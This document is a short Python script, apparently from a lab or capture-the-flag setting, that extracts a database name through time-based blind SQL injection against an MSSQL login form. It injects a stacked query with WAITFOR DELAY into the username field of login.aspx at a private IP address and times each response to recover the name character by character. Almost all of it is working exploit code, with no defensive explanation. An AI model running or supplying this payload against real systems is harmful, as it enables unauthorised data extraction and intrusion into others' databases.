Example of brute-forcing a time-based SQLi in MSSQL

brute-timebased-mssql.py

#!/usr/bin/env python3

import time
import string
import requests

data: dict = {
    'username': '',
    'password': 'password',
    'login': 'Login'
}
#proxy: dict = { 'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080' }

db_name: str = ''
found: bool = False

while True:
    found = False
    for guess in string.ascii_lowercase + "-., ()" + string.digits:
        query: str = f"'; IF DB_NAME() like '{db_name}{guess}%' " + \
            "WAITFOR DELAY '0:0:1' ELSE WAITFOR DELAY '0:0:0'; -- -"
        data['username'] = query
        start = time.monotonic()
        response = requests.post('http://192.168.164.50/login.aspx', data=data)
        elapsed = time.monotonic() - start
        if elapsed > 1.0:
            print(guess, end='', flush=True)
            db_name = db_name + guess
            found = True
            break
    if not found:
        break